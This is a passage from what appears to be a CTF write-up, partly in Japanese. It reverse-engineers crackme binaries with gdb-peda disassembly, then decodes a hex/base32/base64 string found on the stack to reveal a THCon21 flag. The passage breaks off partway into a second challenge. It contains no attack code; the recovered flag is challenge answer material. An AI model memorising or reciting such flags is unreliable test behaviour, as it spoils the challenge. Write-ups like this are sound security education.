   0x00005555555557f9 <+1584>:	mov    BYTE PTR [rbp-0x58],0x4f
   0x00005555555557fd <+1588>:	mov    BYTE PTR [rbp-0xaf],0x7a
   0x0000555555555804 <+1595>:	mov    BYTE PTR [rbp-0x2d],0x67
   0x0000555555555808 <+1599>:	mov    BYTE PTR [rbp-0x27],0x60
   0x000055555555580c <+1603>:	mov    BYTE PTR [rbp-0x158],0x33
   0x0000555555555813 <+1610>:	mov    BYTE PTR [rbp-0xbb],0x49
   0x000055555555581a <+1617>:	mov    BYTE PTR [rbp-0x8d],0x73
   0x0000555555555821 <+1624>:	mov    BYTE PTR [rbp-0x11a],0x35
   0x0000555555555828 <+1631>:	mov    BYTE PTR [rbp-0x143],0x33
   0x000055555555582f <+1638>:	mov    BYTE PTR [rbp-0x116],0x33
   0x0000555555555836 <+1645>:	mov    BYTE PTR [rbp-0xe1],0x54
   0x000055555555583d <+1652>:	mov    BYTE PTR [rbp-0xb4],0x25
   0x0000555555555844 <+1659>:	mov    BYTE PTR [rbp-0x9f],0x64
   0x000055555555584b <+1666>:	mov    BYTE PTR [rbp-0x15e],0x35
   0x0000555555555852 <+1673>:	mov    BYTE PTR [rbp-0xda],0x69
   0x0000555555555859 <+1680>:	mov    BYTE PTR [rbp-0x5e],0x36
   0x000055555555585d <+1684>:	mov    BYTE PTR [rbp-0xc3],0x48
   0x0000555555555864 <+1691>:	mov    BYTE PTR [rbp-0x88],0x24
   0x000055555555586b <+1698>:	mov    BYTE PTR [rbp-0x136],0x33
   0x0000555555555872 <+1705>:	mov    BYTE PTR [rbp-0x1a3],0x42
   0x0000555555555879 <+1712>:	mov    BYTE PTR [rbp-0x12c],0x34
   0x0000555555555880 <+1719>:	mov    BYTE PTR [rbp-0x1ba],0x35
   0x0000555555555887 <+1726>:	mov    BYTE PTR [rbp-0x57],0x28
   0x000055555555588b <+1730>:	mov    BYTE PTR [rbp-0x170],0x34
   0x0000555555555892 <+1737>:	mov    BYTE PTR [rbp-0xbe],0x29
   0x0000555555555899 <+1744>:	mov    BYTE PTR [rbp-0x74],0x65
   0x000055555555589d <+1748>:	mov    BYTE PTR [rbp-0x59],0x33
   0x00005555555558a1 <+1752>:	mov    BYTE PTR [rbp-0x35],0x44
   0x00005555555558a5 <+1756>:	mov    BYTE PTR [rbp-0x120],0x34
   0x00005555555558ac <+1763>:	mov    BYTE PTR [rbp-0x4d],0x50
   0x00005555555558b0 <+1767>:	mov    BYTE PTR [rbp-0x140],0x34
   0x00005555555558b7 <+1774>:	mov    BYTE PTR [rbp-0x76],0x24
   0x00005555555558bb <+1778>:	mov    BYTE PTR [rbp-0x18d],0x32
   0x00005555555558c2 <+1785>:	mov    BYTE PTR [rbp-0x172],0x34
   0x00005555555558c9 <+1792>:	mov    BYTE PTR [rbp-0x108],0x33
   0x00005555555558d0 <+1799>:	mov    BYTE PTR [rbp-0x14e],0x33
   0x00005555555558d7 <+1806>:	mov    BYTE PTR [rbp-0x99],0x6e
   0x00005555555558de <+1813>:	mov    BYTE PTR [rbp-0x4f],0x41
   0x00005555555558e2 <+1817>:	mov    BYTE PTR [rbp-0x4c],0x71
   0x00005555555558e6 <+1821>:	mov    BYTE PTR [rbp-0x73],0x3a
   0x00005555555558ea <+1825>:	mov    BYTE PTR [rbp-0x1d],0x3a
   0x00005555555558ee <+1829>:	mov    BYTE PTR [rbp-0x50],0x2d
   0x00005555555558f2 <+1833>:	mov    BYTE PTR [rbp-0x15d],0x32
   0x00005555555558f9 <+1840>:	mov    BYTE PTR [rbp-0x13c],0x35
   0x0000555555555900 <+1847>:	mov    BYTE PTR [rbp-0x38],0x65
   0x0000555555555904 <+1851>:	mov    BYTE PTR [rbp-0x86],0x6b
   0x000055555555590b <+1858>:	mov    BYTE PTR [rbp-0x48],0x65
   0x000055555555590f <+1862>:	mov    BYTE PTR [rbp-0xa4],0x34
   0x0000555555555916 <+1869>:	mov    BYTE PTR [rbp-0x1c],0x2b
   0x000055555555591a <+1873>:	mov    BYTE PTR [rbp-0x1f],0x6f
   0x000055555555591e <+1877>:	mov    BYTE PTR [rbp-0x2a],0x40
   0x0000555555555922 <+1881>:	mov    BYTE PTR [rbp-0x15f],0x44
   0x0000555555555929 <+1888>:	mov    BYTE PTR [rbp-0x16a],0x34
   0x0000555555555930 <+1895>:	mov    BYTE PTR [rbp-0x178],0x35
   0x0000555555555937 <+1902>:	mov    BYTE PTR [rbp-0x129],0x36
   0x000055555555593e <+1909>:	mov    BYTE PTR [rbp-0x3d],0x36
   0x0000555555555942 <+1913>:	mov    BYTE PTR [rbp-0x75],0x71
   0x0000555555555946 <+1917>:	mov    BYTE PTR [rbp-0x102],0x33
   0x000055555555594d <+1924>:	mov    BYTE PTR [rbp-0x18a],0x34
   0x0000555555555954 <+1931>:	mov    BYTE PTR [rbp-0x37],0x54
   0x0000555555555958 <+1935>:	mov    BYTE PTR [rbp-0xea],0x2d
   0x000055555555595f <+1942>:	mov    BYTE PTR [rbp-0x182],0x35
   0x0000555555555966 <+1949>:	mov    BYTE PTR [rbp-0x10d],0x35
   0x000055555555596d <+1956>:	mov    BYTE PTR [rbp-0x14f],0x46
   0x0000555555555974 <+1963>:	mov    BYTE PTR [rbp-0x66],0x40
   0x0000555555555978 <+1967>:	mov    BYTE PTR [rbp-0x18],0x39
   0x000055555555597c <+1971>:	mov    BYTE PTR [rbp-0x133],0x33
   0x0000555555555983 <+1978>:	mov    BYTE PTR [rbp-0x198],0x33
   0x000055555555598a <+1985>:	mov    BYTE PTR [rbp-0x10c],0x33
   0x0000555555555991 <+1992>:	mov    BYTE PTR [rbp-0x175],0x36
   0x0000555555555998 <+1999>:	mov    BYTE PTR [rbp-0x152],0x35
   0x000055555555599f <+2006>:	mov    BYTE PTR [rbp-0x103],0x44
   0x00005555555559a6 <+2013>:	mov    BYTE PTR [rbp-0x195],0x44
   0x00005555555559ad <+2020>:	mov    BYTE PTR [rbp-0x18e],0x34
   0x00005555555559b4 <+2027>:	mov    BYTE PTR [rbp-0x68],0x72
   0x00005555555559b8 <+2031>:	mov    BYTE PTR [rbp-0x3a],0x49
   0x00005555555559bc <+2035>:	mov    BYTE PTR [rbp-0xa9],0x6b
   0x00005555555559c3 <+2042>:	mov    BYTE PTR [rbp-0x98],0x6c
   0x00005555555559ca <+2049>:	mov    BYTE PTR [rbp-0xa0],0x5a
   0x00005555555559d1 <+2056>:	mov    BYTE PTR [rbp-0x128],0x34
   0x00005555555559d8 <+2063>:	mov    BYTE PTR [rbp-0x109],0x44
   0x00005555555559df <+2070>:	mov    BYTE PTR [rbp-0x17c],0x35
   0x00005555555559e6 <+2077>:	mov    BYTE PTR [rbp-0x155],0x32
   0x00005555555559ed <+2084>:	mov    BYTE PTR [rbp-0x2e],0x3e
   0x00005555555559f1 <+2088>:	mov    BYTE PTR [rbp-0x10a],0x33
   0x00005555555559f8 <+2095>:	mov    BYTE PTR [rbp-0x147],0x39
   0x00005555555559ff <+2102>:	mov    BYTE PTR [rbp-0x1ae],0x34
   0x0000555555555a06 <+2109>:	mov    BYTE PTR [rbp-0x8c],0x76
   0x0000555555555a0d <+2116>:	mov    BYTE PTR [rbp-0x1be],0x35
   0x0000555555555a14 <+2123>:	mov    BYTE PTR [rbp-0x157],0x36
   0x0000555555555a1b <+2130>:	mov    BYTE PTR [rbp-0x12a],0x34
   0x0000555555555a22 <+2137>:	mov    BYTE PTR [rbp-0x85],0x74
   0x0000555555555a29 <+2144>:	mov    BYTE PTR [rbp-0x83],0x43
   0x0000555555555a30 <+2151>:	mov    BYTE PTR [rbp-0x110],0x34
   0x0000555555555a37 <+2158>:	mov    BYTE PTR [rbp-0x146],0x35
   0x0000555555555a3e <+2165>:	mov    BYTE PTR [rbp-0x188],0x35
   0x0000555555555a45 <+2172>:	mov    BYTE PTR [rbp-0x174],0x35
   0x0000555555555a4c <+2179>:	mov    BYTE PTR [rbp-0x18c],0x34
   0x0000555555555a53 <+2186>:	mov    BYTE PTR [rbp-0x29],0x3c
   0x0000555555555a57 <+2190>:	mov    BYTE PTR [rbp-0xb8],0x6b
   0x0000555555555a5e <+2197>:	mov    BYTE PTR [rbp-0x2b],0x47
   0x0000555555555a62 <+2201>:	mov    BYTE PTR [rbp-0x176],0x33
   0x0000555555555a69 <+2208>:	mov    BYTE PTR [rbp-0x4e],0x39
   0x0000555555555a6d <+2212>:	mov    BYTE PTR [rbp-0x14c],0x34
   0x0000555555555a74 <+2219>:	mov    BYTE PTR [rbp-0x196],0x34
   0x0000555555555a7b <+2226>:	mov    BYTE PTR [rbp-0xb5],0x7c
   0x0000555555555a82 <+2233>:	mov    BYTE PTR [rbp-0x4b],0x4d
   0x0000555555555a86 <+2237>:	mov    BYTE PTR [rbp-0x144],0x35
   0x0000555555555a8d <+2244>:	mov    BYTE PTR [rbp-0x181],0x41
   0x0000555555555a94 <+2251>:	mov    BYTE PTR [rbp-0xb9],0x67
   0x0000555555555a9b <+2258>:	mov    BYTE PTR [rbp-0xcb],0x3d
   0x0000555555555aa2 <+2265>:	mov    BYTE PTR [rbp-0x22],0x74
   0x0000555555555aa6 <+2269>:	mov    BYTE PTR [rbp-0xdb],0x2d
   0x0000555555555aad <+2276>:	mov    BYTE PTR [rbp-0x13d],0x39
   0x0000555555555ab4 <+2283>:	mov    BYTE PTR [rbp-0x1a0],0x34
   0x0000555555555abb <+2290>:	mov    BYTE PTR [rbp-0x28],0x34
   0x0000555555555abf <+2294>:	mov    BYTE PTR [rbp-0x1bb],0x33
   0x0000555555555ac6 <+2301>:	mov    BYTE PTR [rbp-0x141],0x35
   0x0000555555555acd <+2308>:	mov    BYTE PTR [rbp-0x177],0x39
   0x0000555555555ad4 <+2315>:	mov    BYTE PTR [rbp-0x93],0x4e
   0x0000555555555adb <+2322>:	mov    BYTE PTR [rbp-0xa5],0x55
   0x0000555555555ae2 <+2329>:	mov    BYTE PTR [rbp-0x1a1],0x39
   0x0000555555555ae9 <+2336>:	mov    BYTE PTR [rbp-0x3e],0x40
   0x0000555555555aed <+2340>:	mov    BYTE PTR [rbp-0x3b],0x51
   0x0000555555555af1 <+2344>:	mov    BYTE PTR [rbp-0x167],0x39
   0x0000555555555af8 <+2351>:	mov    BYTE PTR [rbp-0x30],0x43
   0x0000555555555afc <+2355>:	mov    BYTE PTR [rbp-0xc6],0x65
   0x0000555555555b03 <+2362>:	mov    BYTE PTR [rbp-0x56],0x2f
   0x0000555555555b07 <+2366>:	mov    BYTE PTR [rbp-0x166],0x35
   0x0000555555555b0e <+2373>:	mov    BYTE PTR [rbp-0x154],0x34
   0x0000555555555b15 <+2380>:	mov    BYTE PTR [rbp-0x10b],0x44
   0x0000555555555b1c <+2387>:	mov    BYTE PTR [rbp-0x197],0x34
   0x0000555555555b23 <+2394>:	mov    BYTE PTR [rbp-0x91],0x35
   0x0000555555555b2a <+2401>:	mov    BYTE PTR [rbp-0x1a7],0x33
   0x0000555555555b31 <+2408>:	mov    BYTE PTR [rbp-0x64],0x4d
   0x0000555555555b35 <+2412>:	mov    BYTE PTR [rbp-0x97],0x5f
   0x0000555555555b3c <+2419>:	mov    BYTE PTR [rbp-0x1b4],0x34
   0x0000555555555b43 <+2426>:	mov    BYTE PTR [rbp-0xe7],0x52
   0x0000555555555b4a <+2433>:	mov    BYTE PTR [rbp-0x4a],0x6d
   0x0000555555555b4e <+2437>:	mov    BYTE PTR [rbp-0xa7],0x35
   0x0000555555555b55 <+2444>:	mov    BYTE PTR [rbp-0x65],0x7c
   0x0000555555555b59 <+2448>:	mov    BYTE PTR [rbp-0xc9],0x33
   0x0000555555555b60 <+2455>:	lea    rax,[rip+0x4a1]        # 0x555555556008
   0x0000555555555b67 <+2462>:	mov    QWORD PTR [rbp-0x1d0],rax
   0x0000555555555b6e <+2469>:	mov    BYTE PTR [rbp-0x81],0x6d
   0x0000555555555b75 <+2476>:	mov    BYTE PTR [rbp-0x53],0x30
   0x0000555555555b79 <+2480>:	mov    BYTE PTR [rbp-0x137],0x39
   0x0000555555555b80 <+2487>:	mov    BYTE PTR [rbp-0x112],0x35
   0x0000555555555b87 <+2494>:	mov    BYTE PTR [rbp-0xe0],0x75
   0x0000555555555b8e <+2501>:	mov    BYTE PTR [rbp-0x132],0x35
   0x0000555555555b95 <+2508>:	mov    BYTE PTR [rbp-0xcc],0x79
   0x0000555555555b9c <+2515>:	mov    BYTE PTR [rbp-0x9b],0x53
   0x0000555555555ba3 <+2522>:	mov    BYTE PTR [rbp-0xe3],0x7d
   0x0000555555555baa <+2529>:	mov    BYTE PTR [rbp-0x131],0x41
   0x0000555555555bb1 <+2536>:	mov    BYTE PTR [rbp-0xd3],0x5f
   0x0000555555555bb8 <+2543>:	mov    BYTE PTR [rbp-0x19f],0x46
   0x0000555555555bbf <+2550>:	mov    BYTE PTR [rbp-0xd9],0x2b
   0x0000555555555bc6 <+2557>:	mov    BYTE PTR [rbp-0xd7],0x25
   0x0000555555555bcd <+2564>:	mov    BYTE PTR [rbp-0x1b0],0x34
   0x0000555555555bd4 <+2571>:	mov    BYTE PTR [rbp-0x160],0x34
   0x0000555555555bdb <+2578>:	mov    BYTE PTR [rbp-0x90],0x48
   0x0000555555555be2 <+2585>:	mov    BYTE PTR [rbp-0x179],0x37
   0x0000555555555be9 <+2592>:	mov    BYTE PTR [rbp-0x39],0x61
   0x0000555555555bed <+2596>:	mov    BYTE PTR [rbp-0x19c],0x34
   0x0000555555555bf4 <+2603>:	mov    BYTE PTR [rbp-0x113],0x32
   0x0000555555555bfb <+2610>:	mov    BYTE PTR [rbp-0x19d],0x32
   0x0000555555555c02 <+2617>:	cmp    DWORD PTR [rbp-0x1d4],0x2
   0x0000555555555c09 <+2624>:	jne    0x555555555c81 <main+2744>
   0x0000555555555c0b <+2626>:	mov    edi,0x0
   0x0000555555555c10 <+2631>:	call   0x5555555550c0 <time@plt>
   0x0000555555555c15 <+2636>:	mov    edx,0xffffffff
   0x0000555555555c1a <+2641>:	xor    rax,rdx
   0x0000555555555c1d <+2644>:	mov    QWORD PTR [rbp-0x1c8],rax
   0x0000555555555c24 <+2651>:	mov    rax,QWORD PTR [rbp-0x1e0]
   0x0000555555555c2b <+2658>:	add    rax,0x8
   0x0000555555555c2f <+2662>:	mov    rax,QWORD PTR [rax]
   0x0000555555555c32 <+2665>:	mov    rdi,rax
   0x0000555555555c35 <+2668>:	call   0x5555555550d0 <atoi@plt>
   0x0000555555555c3a <+2673>:	cdqe   
   0x0000555555555c3c <+2675>:	cmp    QWORD PTR [rbp-0x1c8],rax
   0x0000555555555c43 <+2682>:	jne    0x555555555c6e <main+2725>
   0x0000555555555c45 <+2684>:	lea    rdi,[rip+0x3f4]        # 0x555555556040
   0x0000555555555c4c <+2691>:	call   0x555555555090 <puts@plt>
   0x0000555555555c51 <+2696>:	lea    rax,[rbp-0x1c0]
   0x0000555555555c58 <+2703>:	mov    rsi,rax
   0x0000555555555c5b <+2706>:	lea    rdi,[rip+0x401]        # 0x555555556063
   0x0000555555555c62 <+2713>:	mov    eax,0x0
   0x0000555555555c67 <+2718>:	call   0x5555555550b0 <printf@plt>
   0x0000555555555c6c <+2723>:	jmp    0x555555555c9f <main+2774>
   0x0000555555555c6e <+2725>:	lea    rdi,[rip+0x3f6]        # 0x55555555606b
   0x0000555555555c75 <+2732>:	call   0x555555555090 <puts@plt>
   0x0000555555555c7a <+2737>:	mov    eax,0xffffffff
   0x0000555555555c7f <+2742>:	jmp    0x555555555ca4 <main+2779>
   0x0000555555555c81 <+2744>:	mov    rax,QWORD PTR [rbp-0x1e0]
   0x0000555555555c88 <+2751>:	mov    rax,QWORD PTR [rax]
   0x0000555555555c8b <+2754>:	mov    rsi,rax
   0x0000555555555c8e <+2757>:	lea    rdi,[rip+0x3f1]        # 0x555555556086
   0x0000555555555c95 <+2764>:	mov    eax,0x0
   0x0000555555555c9a <+2769>:	call   0x5555555550b0 <printf@plt>
   0x0000555555555c9f <+2774>:	mov    eax,0x0
   0x0000555555555ca4 <+2779>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x0000555555555ca8 <+2783>:	xor    rcx,QWORD PTR fs:0x28
   0x0000555555555cb1 <+2792>:	je     0x555555555cb8 <main+2799>
   0x0000555555555cb3 <+2794>:	call   0x5555555550a0 <__stack_chk_fail@plt>
   0x0000555555555cb8 <+2799>:	leave  
   0x0000555555555cb9 <+2800>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000555555555c35
Breakpoint 2 at 0x555555555c35
gdb-peda$ c
Continuing.

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe28c --> 0x455454554c430031 ('1')
RBX: 0x0 
RCX: 0x555555555cc0 (<__libc_csu_init>:	endbr64)
RDX: 0xffffffff 
RSI: 0x7fffffffdf28 --> 0x7fffffffe271 ("/mnt/hgfs/Shared/chall.bin")
RDI: 0x7fffffffe28c --> 0x455454554c430031 ('1')
RBP: 0x7fffffffde40 --> 0x555555555cc0 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffdc60 --> 0x7fffffffdf28 --> 0x7fffffffe271 ("/mnt/hgfs/Shared/chall.bin")
RIP: 0x555555555c35 (<main+2668>:	call   0x5555555550d0 <atoi@plt>)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x5555555550e0 (<_start>:	endbr64)
R13: 0x7fffffffdf20 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555c2b <main+2658>:	add    rax,0x8
   0x555555555c2f <main+2662>:	mov    rax,QWORD PTR [rax]
   0x555555555c32 <main+2665>:	mov    rdi,rax
=> 0x555555555c35 <main+2668>:	call   0x5555555550d0 <atoi@plt>
   0x555555555c3a <main+2673>:	cdqe   
   0x555555555c3c <main+2675>:	cmp    QWORD PTR [rbp-0x1c8],rax
   0x555555555c43 <main+2682>:	jne    0x555555555c6e <main+2725>
   0x555555555c45 <main+2684>:	lea    rdi,[rip+0x3f4]        # 0x555555556040
Guessed arguments:
arg[0]: 0x7fffffffe28c --> 0x455454554c430031 ('1')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc60 --> 0x7fffffffdf28 --> 0x7fffffffe271 ("/mnt/hgfs/Shared/chall.bin")
0008| 0x7fffffffdc68 --> 0x200000000 
0016| 0x7fffffffdc70 --> 0x555555556008 ("Congrats, you know how to do strings ! Now reverse.")
0024| 0x7fffffffdc78 --> 0x9f3b6078 
0032| 0x7fffffffdc80 ("4B5A4357515244434749324853544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D")
0040| 0x7fffffffdc88 ("515244434749324853544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D")
0048| 0x7fffffffdc90 ("4749324853544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D")
0056| 0x7fffffffdc98 ("53544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555555c35 in main ()
gdb-peda$ 

怪しい文字列がスタック上にある。hexデコード、base32デコード、base64デコードと順に行う。

>>> s = '4B5A4357515244434749324853544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D'
>>> s.decode('hex')
'KZCWQRDCGI2HSTKYORLE4MDQJBKEQWSZMEYWY6TBGFBEYTKEMRKU6RLPO5IWYWSELIYWY6SZK5JFKWTKLE2VE3RQHU======'
>>> from base64 import *
>>> b32decode(s.decode('hex'))
'VEhDb24yMXtVN0pHTHZYa1lza1BLMDdUOEowQlZDZ1lzYWRUZjY5Rn0='
>>> b64decode(b32decode(s.decode('hex')))
'THCon21{U7JGLvXkYskPK07T8J0BVCgYsadTf69F}'
THCon21{U7JGLvXkYskPK07T8J0BVCgYsadTf69F}

ELF x64 - BaseJumper CrackMe (reverse)

$ gdb -q ./elf_x64_basejumper_crackme.bin
Reading symbols from ./elf_x64_basejumper_crackme.bin...(no debugging symbols found)...done.
gdb-peda$ set arg 1
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x401196 (<main>:	endbr64)
RBX: 0x0 
RCX: 0x401da0 (<__libc_csu_init>:	endbr64)
RDX: 0x7fffffffdf10 --> 0x7fffffffe279 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdef8 --> 0x7fffffffe247 ("/mnt/hgfs/Shared/elf_x64_basejumper_crackme.bin")
RDI: 0x2 
RBP: 0x401da0 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffde18 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
RIP: 0x401196 (<main>:	endbr64)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x4010b0 (<_start>:	endbr64)
R13: 0x7fffffffdef0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40118c <__do_global_dtors_aux+44>:	nop    DWORD PTR [rax+0x0]
   0x401190 <frame_dummy>:	endbr64 
   0x401194 <frame_dummy+4>:	jmp    0x401120 <register_tm_clones>
=> 0x401196 <main>:	endbr64 
   0x40119a <main+4>:	push   rbp
   0x40119b <main+5>:	mov    rbp,rsp
   0x40119e <main+8>:	push   rbx
   0x40119f <main+9>:	sub    rsp,0x1d8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)
0008| 0x7fffffffde20 --> 0x2 
0016| 0x7fffffffde28 --> 0x7fffffffdef8 --> 0x7fffffffe247 ("/mnt/hgfs/Shared/elf_x64_basejumper_crackme.bin")
0024| 0x7fffffffde30 --> 0x200008000 
0032| 0x7fffffffde38 --> 0x401196 (<main>:	endbr64)
0040| 0x7fffffffde40 --> 0x0 
0048| 0x7fffffffde48 --> 0xb089f42f040bfabe 
0056| 0x7fffffffde50 --> 0x4010b0 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x0000000000401196 in main ()
gdb-peda$ disas main
Dump of assembler code for function main:
=> 0x0000000000401196 <+0>:	endbr64 
   0x000000000040119a <+4>:	push   rbp
   0x000000000040119b <+5>:	mov    rbp,rsp
   0x000000000040119e <+8>:	push   rbx
   0x000000000040119f <+9>:	sub    rsp,0x1d8
   0x00000000004011a6 <+16>:	mov    DWORD PTR [rbp-0x1d4],edi
   0x00000000004011ac <+22>:	mov    QWORD PTR [rbp-0x1e0],rsi
   0x00000000004011b3 <+29>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004011bc <+38>:	mov    QWORD PTR [rbp-0x18],rax
   0x00000000004011c0 <+42>:	xor    eax,eax
   0x00000000004011c2 <+44>:	cmp    DWORD PTR [rbp-0x1d4],0x2
   0x00000000004011c9 <+51>:	je     0x4011f3 <main+93>
   0x00000000004011cb <+53>:	mov    rax,QWORD PTR [rbp-0x1e0]
   0x00000000004011d2 <+60>:	mov    rax,QWORD PTR [rax]
   0x00000000004011d5 <+63>:	mov    rsi,rax
   0x00000000004011d8 <+66>:	lea    rdi,[rip+0xe29]        # 0x402008
   0x00000000004011df <+73>:	mov    eax,0x0
   0x00000000004011e4 <+78>:	call   0x4010a0 <printf@plt>
   0x00000000004011e9 <+83>:	mov    eax,0xffffffff
   0x00000000004011ee <+88>:	jmp    0x401d7a <main+3044>
   0x00000000004011f3 <+93>:	mov    BYTE PTR [rbp-0x19],0x0
   0x00000000004011f7 <+97>:	mov    BYTE PTR [rbp-0x100],0x0
   0x00000000004011fe <+104>:	mov    BYTE PTR [rbp-0x196],0x34
   0x0000000000401205 <+111>:	mov    BYTE PTR [rbp-0x64],0x5e
   0x0000000000401209 <+115>:	mov    BYTE PTR [rbp-0x19],0x4b
   0x000000000040120d <+119>:	mov    BYTE PTR [rbp-0x68],0x3f
   0x0000000000401211 <+123>:	mov    BYTE PTR [rbp-0x131],0x37
   0x0000000000401218 <+130>:	mov    BYTE PTR [rbp-0x1b8],0x35
   0x000000000040121f <+137>:	mov    BYTE PTR [rbp-0x1a7],0x33
   0x0000000000401226 <+144>:	mov    BYTE PTR [rbp-0x33],0x3c
   0x000000000040122a <+148>:	mov    BYTE PTR [rbp-0x1c0],0x34
   0x0000000000401231 <+155>:	mov    BYTE PTR [rbp-0x1b5],0x32
   0x0000000000401238 <+162>:	mov    BYTE PTR [rbp-0xbb],0x73
   0x000000000040123f <+169>:	mov    BYTE PTR [rbp-0x3d],0x5e
   0x0000000000401243 <+173>:	mov    BYTE PTR [rbp-0xd7],0x77
   0x000000000040124a <+180>:	mov    BYTE PTR [rbp-0x1e],0x7d
   0x000000000040124e <+184>:	mov    BYTE PTR [rbp-0x47],0x7d
   0x0000000000401252 <+188>:	mov    BYTE PTR [rbp-0xdf],0x2a
   0x0000000000401259 <+195>:	mov    BYTE PTR [rbp-0x1c],0x31
   0x000000000040125d <+199>:	mov    BYTE PTR [rbp-0x108],0x33
   0x0000000000401264 <+206>:	mov    BYTE PTR [rbp-0x81],0x6e
   0x000000000040126b <+213>:	mov    BYTE PTR [rbp-0x75],0x5d
   0x000000000040126f <+217>:	mov    BYTE PTR [rbp-0x11e],0x34
   0x0000000000401276 <+224>:	mov    BYTE PTR [rbp-0x152],0x34
   0x000000000040127d <+231>:	mov    BYTE PTR [rbp-0x175],0x33
   0x0000000000401284 <+238>:	mov    BYTE PTR [rbp-0x137],0x33
   0x000000000040128b <+245>:	mov    BYTE PTR [rbp-0x188],0x34
   0x0000000000401292 <+252>:	mov    BYTE PTR [rbp-0x165],0x36
   0x0000000000401299 <+259>:	mov    BYTE PTR [rbp-0x197],0x37
   0x00000000004012a0 <+266>:	mov    BYTE PTR [rbp-0xcd],0x7a
   0x00000000004012a7 <+273>:	mov    BYTE PTR [rbp-0x85],0x4d
   0x00000000004012ae <+280>:	mov    BYTE PTR [rbp-0x178],0x35
   0x00000000004012b5 <+287>:	mov    BYTE PTR [rbp-0x143],0x32
   0x00000000004012bc <+294>:	mov    BYTE PTR [rbp-0x18a],0x34
   0x00000000004012c3 <+301>:	mov    BYTE PTR [rbp-0x8d],0x41
   0x00000000004012ca <+308>:	mov    BYTE PTR [rbp-0x17d],0x45
   0x00000000004012d1 <+315>:	mov    BYTE PTR [rbp-0x7c],0x7a
   0x00000000004012d5 <+319>:	mov    BYTE PTR [rbp-0x177],0x31
   0x00000000004012dc <+326>:	mov    BYTE PTR [rbp-0x11d],0x36
   0x00000000004012e3 <+333>:	mov    BYTE PTR [rbp-0x3f],0x3b
   0x00000000004012e7 <+337>:	mov    BYTE PTR [rbp-0x30],0x4d
   0x00000000004012eb <+341>:	mov    BYTE PTR [rbp-0xa5],0x67
   0x00000000004012f2 <+348>:	mov    BYTE PTR [rbp-0x29],0x4c
   0x00000000004012f6 <+352>:	mov    BYTE PTR [rbp-0x135],0x34
   0x00000000004012fd <+359>:	mov    BYTE PTR [rbp-0x41],0x31
   0x0000000000401301 <+363>:	mov    BYTE PTR [rbp-0x43],0x20
   0x0000000000401305 <+367>:	mov    BYTE PTR [rbp-0x17c],0x34
   0x000000000040130c <+374>:	mov    BYTE PTR [rbp-0xe3],0x32
   0x0000000000401313 <+381>:	mov    BYTE PTR [rbp-0x144],0x34
   0x000000000040131a <+388>:	mov    BYTE PTR [rbp-0xa6],0x4d
   0x0000000000401321 <+395>:	mov    BYTE PTR [rbp-0xb0],0x76
   0x0000000000401328 <+402>:	mov    BYTE PTR [rbp-0x1a5],0x34
   0x000000000040132f <+409>:	mov    BYTE PTR [rbp-0x146],0x33
   0x0000000000401336 <+416>:	mov    BYTE PTR [rbp-0x122],0x34
   0x000000000040133d <+423>:	mov    BYTE PTR [rbp-0x66],0x57
   0x0000000000401341 <+427>:	mov    BYTE PTR [rbp-0x22],0x41
   0x0000000000401345 <+431>:	mov    BYTE PTR [rbp-0x102],0x33
   0x000000000040134c <+438>:	mov    BYTE PTR [rbp-0x9a],0x6b
   0x0000000000401353 <+445>:	mov    BYTE PTR [rbp-0x184],0x34
   0x000000000040135a <+452>:	mov    BYTE PTR [rbp-0xa8],0x4d
   0x0000000000401361 <+459>:	mov    BYTE PTR [rbp-0x38],0x48
   0x0000000000401365 <+463>:	mov    BYTE PTR [rbp-0x32],0x58
   0x0000000000401369 <+467>:	mov    BYTE PTR [rbp-0x10f],0x38
   0x0000000000401370 <+474>:	mov    BYTE PTR [rbp-0x1a4],0x34
   0x0000000000401377 <+481>:	mov    BYTE PTR [rbp-0x4d],0x4d
   0x000000000040137b <+485>:	mov    BYTE PTR [rbp-0x18b],0x32
   0x0000000000401382 <+492>:	mov    BYTE PTR [rbp-0x114],0x34
   0x0000000000401389 <+499>:	mov    BYTE PTR [rbp-0x166],0x35
   0x0000000000401390 <+506>:	mov    BYTE PTR [rbp-0x126],0x35
   0x0000000000401397 <+513>:	mov    BYTE PTR [rbp-0xa1],0x20
   0x000000000040139e <+520>:	mov    BYTE PTR [rbp-0x78],0x20
